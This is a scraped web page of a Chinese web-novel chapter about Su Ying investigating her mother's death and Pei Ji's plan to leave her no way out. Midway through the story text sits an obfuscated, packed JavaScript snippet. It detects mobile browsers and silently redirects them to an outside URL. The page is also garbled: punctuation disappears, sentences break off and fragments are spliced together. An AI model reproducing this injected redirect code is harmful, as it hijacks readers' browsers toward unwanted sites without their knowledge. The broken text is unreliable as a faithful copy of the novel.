第 13 章 让她走投无路,只...
作品:《兄长不善》 崔思谦踩着最后一丝暮色回到家中,崔琚等在书房,急急问道:“怎么样?”
“打听不出来,郡主府闭门谢客,说是南川郡主病了。”崔思谦吹亮火绒点着了灯,“遂王府没有门路,探听不出来。”
光线骤然一亮,照出崔琚忧心忡忡的脸:“裴羁临走时怎么说的?”
“他说,昨日南川郡主从遂王府带走了晏平。”崔思谦猜得出他的打算,他嘴上说念着骨肉之情帮苏樱一把,其实无非觉得这门亲事有利可图,但崔家这些年深受崔瑾所累,怎能还想着与虎谋皮?“其实何必再打听?猜也猜得到郡主不会同意这桩事,不然窦晏平为什么今天不露面?”
“门第悬殊,一开始必然不会顺当,”崔琚沉吟着,“昨日窦晏平过来的情形你也看见了,只要窦晏平不松口,南川郡主迟早得认了这桩婚事。”
是的,昨天他们在花园的情形他全都看见了,苏樱紧紧跟着窦晏平,腰是细的唇是红的,好几次几乎要贴在窦晏平身上。崔思谦一阵厌恶:“崔家门第清贵,不输宗室,父亲又何必如此巴结这门亲事?儿子虽然不才,将来未必不能出头,何必指望苏樱?”
“放肆!”崔琚被他说中心事,又羞又恼,“她是你妹妹,至亲骨肉,帮她一把,说什么巴结不巴结的?”
“我没有这种妹妹。”崔思谦不觉又想起苏樱紧紧挨着窦晏平的细腰,连定亲都不曾便如此亲密,着实轻浮,“苏樱轻浮无行,留着必然辱及门第,父亲若真是想帮,不如送她回锦城投奔苏家。”
“行了,”崔琚打断他,“我心里有数,退下吧。”
崔思谦退出门外,心中郁结未解,踩着暮色漫无目的走着,等反应过来已经到了苏樱门前,灯亮着,人影投在窗纸上,不盈一握的腰肢。
这等轻薄女子,若不送走,必生祸患。崔思谦拧着眉,拂袖而去。
门内,苏樱细细检查着匣中的画笔,狼毫、羊毫、兼毫,斗笔、提笔、大小红毛、鼠须、叶筋样样俱全,白玉笔杆,斑竹笔帘①,母亲有心情定制这么精致的画笔,又怎会突然赴死?“在哪里找到的,店里怎么说?”
“在汲古阁,那里新来了一个有名的制笔师,夫人听说后特意上门定制的,交了定金,约好取笔时结尾款,奴没有定金的凭
据,店主一开始并不肯给奴,”叶儿顿了顿,“是裴家阿郎帮着说话,店主才肯让奴带走的。”
裴道纯?苏樱心中一动:“他也是为了夫人的事去的?”
“看着像是,奴进门的时候他正在打听夫人的事。”叶儿道。
也就是说她先前的猜测没有错,裴道纯对母亲还有旧情,也在追查母亲的死因。万一将来走投无路,也许可以找他。一念至此,眼前突然闪过裴羁隐在昏暗中的脸,苏樱呼吸一滞。
不,只要还有一丝出路,她就再不要跟裴羁扯上任何关系了。
起初她虽然怕他,总还存着妄念,想做他妹妹。从那次隔着门缝窥见他杀人,那种模糊的怕突然便有了实质,原来她从不曾有一丁点儿看懂过裴羁,君子与杀戮,坦荡与莫测,她从不曾见过任何一个人能够同时兼具这些特质,她在他眼前耍的那些把戏,他早就看穿了吧,他一言不发任由她像跳梁小丑一般表演了那么久,或者在他眼中,看她跟看那些他剑下的亡魂没什么区别吧。
而此时。苏樱闭了闭眼睛。对他的畏惧几乎是深入骨髓。假如真的是他。
他不会无缘无故隐瞒至今,她得做最坏的打算。
裴府。
“窦郎君还不曾进食?”裴羁问道。
“是,”张用已从卢家撤回,如今盯着郡主府,“郡主极是恼怒,勒令任何人不得相见,今日窦老夫人想去探望也被劝回去了。”
南川郡主性子刚强,此时怒大于忧,必是不肯妥协的,等再过几天窦晏平饿倒了之后,南川郡主必定沉不住气,到那时候,便是他出手之时。“严密监视,一旦有变,即刻报于我。”
张用领命而去,侍从吴藏上前,低声道:“阿郎白日里去了几处书画坊,在汲古阁找到了崔夫人去世前一天订的画笔,还碰到了叶儿,她是奉苏娘子之命,过去取画笔的。”
所以她也开始追查崔瑾的死因了么。到底年轻,虽然看起来不在乎,终是不能无动于衷。裴羁想起今日相见时的情形,她穿着一件半新不旧的白绢衫子,领口大了些,依稀可见纤细的锁骨。她比从前清瘦了许多,衣服都不合身了。“去查查崔瑾去世前的行踪。”
“三郎。”门外传来裴道纯的声音。
裴羁起身开门,裴道纯站在
槛外并没有立时进来:“你母亲跟你说过了吧?王家的事。”
他虽是做父亲的但儿子太出色太有主见又兼崔瑾的事他理亏在前所以在裴羁面前并不能扬眉吐气此时见他没有拒绝这才迈进门来:“你母亲传话过来让你三天后去王家赴诗会到时候两个人见见面。”
“好。”裴羁颔首。
“若是没有什么不妥那就趁你在家的时候把婚事定下来吧。”裴道纯道“你也不小了不能再拖了。”
“好。”裴羁又道。见不见都没什么要紧他查过王六娘知书达理秀外慧中这种世家大族精心培养的女儿做裴家的主妇不会差。婚姻乃结两姓之好如今政局动荡多事之秋以一桩婚事串联裴、王、韦、杜数家显然利大于弊至于他个人的意愿么——只要堪为裴家的冢妇他娶谁都没有差别。
“那就好。”裴道纯看得出他的冷淡不过从崔瑾之事后父子俩能像今日这般心平气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145896|138484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和地说几句话已是罕见让他心里生出希望试探着又道“我今天在东市汲古阁查到一些事。”
裴羁漆黑的眸子淡淡一扫裴道纯心中一凛。原是觉得他心思敏锐人脉又广也许能帮忙查查崔瑾的死因此时也不敢再说硬生生改了口:“听说苏樱从卢家搬出来回崔家去了她一个人孤苦伶仃的若是有什么难处你能帮的就帮一把吧。”
裴羁看着他他因为崔瑾沦为笑柄却到此时还念念不忘连崔瑾那个跟他毫无关系的女儿都要操心沉溺于男女之情无法自拔实在可耻可笑。“好。”
他自然会帮苏樱。他会把她的所有的退路一条条斩断让她走投无路只能来求他。
三天后南川郡主府。
窦晏平将近五天不曾进食此时闭目躺在床上听见卧房帘子一动南川郡主进来了。
窦晏平撑着床沿坐起来该当下床拜见的此时没有一丝气力只得靠着床头唤了声:“母、亲。”
短短两个字就似抽走了全身的力气累得额上出了虚汗心跳快得几乎无法呼吸窦晏平不得不重又闭上眼睛听见南川郡主哽着嗓子道:“你还是不肯吃?你想逼死你母亲吗?”
“儿子不敢。”窦晏平努力睁开眼
全。”
断断续续几不成声南川郡主看着他明显凹下去的两腮无力垂在身侧的胳膊气恼夹杂着心疼忍泪道:“你先吃饭吃了饭再说。”
“母亲答应了我就吃。”窦晏平笑了下他了解南川郡主她若是答应了就会直接说出来眼下这么含糊着明显是想哄他先吃了饭。
“你!”南川郡主气结“都过来服侍小郎君吃饭!”
侍从连忙上前架住乳母端着参汤上前来喂窦晏平没有力气挣扎便只死死咬着牙关参汤灌不进去顺着嘴角流下来染得前襟一片湿南川郡主一下子落了泪:“你是真想逼我去死?”
“儿子不敢”窦晏平喘着气“只求母亲
“你简直疯了你知不知道她是……”南川郡主突然顿住。
头脑中昏沉沉的窦晏平本能地追问:“什么?”
“没什么。”南川郡主定定神吩咐乳母“服侍好小郎君我不管你用什么法子把参汤给我喂下去。”
抬步出门:“备车。”
她要亲自会会苏樱当年她不曾输这次她也不会输。
崔府。
外面一阵急促的脚步声夹杂着侍婢气喘吁吁的通报:“娘子娘子郡主驾临!”
苏樱抬头隔着半开的纱窗看见南川郡主挽得一丝不乱的发髻上两两对插的赤金花叶飞凤簪②。
作者有话要说
注释①狼毫、羊毫、兼毫指毛笔的材质提笔、斗笔等指类别。
注释②花叶飞凤簪唐朝一种花簪中晚唐较为多见西安有出图文物可以从网上查下照片。